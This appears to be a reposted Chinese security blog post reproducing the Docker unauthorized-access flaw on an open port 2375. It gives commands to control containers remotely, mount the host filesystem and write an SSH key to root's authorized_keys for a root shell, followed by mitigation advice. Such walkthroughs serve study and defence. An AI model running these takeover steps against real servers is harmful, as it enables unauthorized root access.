Py学习  »  docker

『漏洞复现』Docker 未授权漏洞

黑白之道 • 1 年前 • 240 次点击  

0x00 前言

在当今数字化时代,容器化技术如Docker在云端应用中扮演着关键角色,然而,与其广泛使用相伴随的是一系列潜在的网络安全风险。

其中,Docker未授权访问漏洞显得尤为突出。2375端口开放,系统未经适当保护,给攻击者提供了潜在的机会,使其能够远程获取服务器权限。

在这个信息时代,保障数据安全至关重要。因此,本文将深入探讨这一漏洞的本质、可能的影响,并提供有效的预防和应对方法,以确保广泛采用容器技术的系统安全可靠。

通过加强对Docker引擎的安全性认识,我们能够更好地享受容器技术的便捷和高效,而不必担心潜在的网络安全隐患。

0x01 Docker未授权漏洞

Docker本身具有远程控制的功能,如果在配置中开放了2375端口且没有增加限制,攻击者就可以通过各种未授权行为获取信息甚至接管服务器获取服务器权限。

1.1 验证漏洞点

1.确认2375开放

2.查看版本接口

3.查看version信息

4.查看info目录

5.查看image镜像

1.2 Docker连接未授权端口

1.列出所有容器

docker -H tcp://1.1.1.1 ps -a

2.查看镜像

docker -H tcp://1.1.1.1 images

3.停止一个已经开启的容器

docker -H tcp://1.1.1.1 stop d192a8dee160

4.连接一个容器

docker -H 1.1.1.1 exec -it 3d1c2eaa9df8 /bin/bash

1.3 写公钥获取shell

1.生成公钥

ssh-keygen -t rsa

2.查看生成的公钥

cat /root/.ssh/id_rsa.pub

3.挂载宿主机的/mnt目录写入公钥

docker -H tcp://1.1.1.1 run -it -v /:/mnt --entrypoint /bin/bash 【images name】
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC2oUPAuPkNYqvVTALPCfUDxX5yEgBsaV1s+A3Jyk83CJxWwS7e327gvtIPO1VGY4QHpZMLAoi5SdO4Ru9Wm8E2ZojVTyb5pHTDZf1XizXXCakO39u5mT0ET/rwga5NVllp2ApdL4sL9wBihvHi1dlDTBUQvArpRPgKSnrBSPSADIBc4o6GSEBU6EUJMV5rtqNexQq53636ZiLjpLLEjJBsYXDpRU46mxQJjm/LqCENHdqVsvgoGXBqcDWjGqv59yn2KqgKKPs= root@admin" > /mnt/root/.ssh/authorized_keys

4.连接目标主机获取shell

ssh root@1.1.1.1 -i id_rsa

0x02 总结

Docker未授权访问漏洞是一项严重的安全隐患,源于默认配置将该端口开放,却未进行适当的安全设置。攻击者可通过简单API请求访问Docker引擎,导致潜在的权限滥用、敏感信息泄露等风险。为防范此漏洞,建议关闭2375端口或限制其仅对受信任IP可见,同时启用TLS以加密通信。定期审查Docker引擎的安全配置,确保采取措施以防范未授权访问。网络隔离和定期监测是维护系统安全性的关键步骤。谨慎设置,保障Docker引擎的安全性。

文章来源:宸极实验室


黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!

如侵权请私聊我们删文


END


Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/168458
 
240 次点击